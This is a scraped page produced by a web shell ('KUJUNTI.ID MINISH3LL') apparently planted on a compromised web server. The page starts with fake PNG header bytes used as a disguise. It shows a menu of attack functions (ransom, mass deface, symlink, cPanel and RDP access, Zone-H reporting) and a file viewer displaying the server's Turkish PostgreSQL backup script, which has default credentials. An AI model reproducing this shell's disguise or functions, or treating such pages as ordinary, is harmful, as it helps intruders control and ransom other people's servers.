\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/export_database.py


#!/usr/bin/env python3
"""
Database Backup Sistemi için veritabanı dışa aktarım scripti.
Bu script, PostgreSQL veritabanını SQL formatında dışa aktarır.
"""

import os
import datetime
import subprocess
from dotenv import load_dotenv

# .env dosyasından ortam değişkenlerini yükleyin
load_dotenv()

# Veritabanı bilgilerini alın
DB_HOST = os.environ.get('PGHOST', 'localhost')
DB_PORT = os.environ.get('PGPORT', '5432')
DB_USER = os.environ.get('PGUSER', 'postgres')
DB_PASSWORD = os.environ.get('PGPASSWORD', 'postgres')
DB_NAME = os.environ.get('PGDATABASE', 'postgres')

# Yedek dosyasının adını tarih-saat ile oluşturun
TIMESTAMP = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
BACKUP_DIR = 'database_backups'
BACKUP_FILE = f"{BACKUP_DIR}/backup_{DB_NAME}_{TIMESTAMP}.sql"

def main():
    """Ana fonksiyon - veritabanını dışa aktarır (dump eder)"""
    # Yedekleme dizinini oluşturun (yoksa)
    os.makedirs(BACKUP_DIR, exist_ok=True)

    # pg_dump için ortam değişkenlerini ayarlayın
    env = os.environ.copy()
    env['PGPASSWORD'] = DB_PASSWORD

    # pg_dump komutunu oluşturun
    pg_dump_cmd = [
        'pg_dump',
        f'--host={DB_HOST}',
        f'--port={DB_PORT}',
        f'--username={DB_USER}',
        '--clean',
        '--if-exists',
        '--create',
        '--format=plain',
        '--inserts',
        '--no-owner',
        '--encoding=UTF8',
        f'--file={BACKUP_FILE}',
        DB_NAME
    ]

    try:
        # Komutu çalıştırın
        print(f"Veritabanı dışa aktarılıyor: {DB_NAME} -> {BACKUP_FILE}")
        process = subprocess.run(pg_dump_cmd, env=env, check=True, 
                                stderr=subprocess.PIPE, text=True)
        
        # Başarılı oldu mu kontrol edin
        if os.path.exists(BACKUP_FILE) and os.path.getsize(BACKUP_FILE) > 0:
            print(f"Veritabanı başarıyla dışa aktarıldı: {BACKUP_FILE}")
            print(f"Dosya boyutu: {os.path.getsize(BACKUP_FILE) / 1024:.2f} KB")
        else:
            print("Hata: Backup dosyası oluşturulamadı veya boş.")
            if process.stderr:
                print(f"Hata detayı: {process.stderr}")

    except subprocess.CalledProcessError as e:
        print(f"Hata: pg_dump işlemi başarısız oldu. Kod: {e.returncode}")
        if e.stderr:
            print(f"Hata detayı: {e.stderr}")
    except Exception as e:
        print(f"Beklenmeyen hata: {str(e)}")

if __name__ == "__main__":
    main()

© KUJUNTI.ID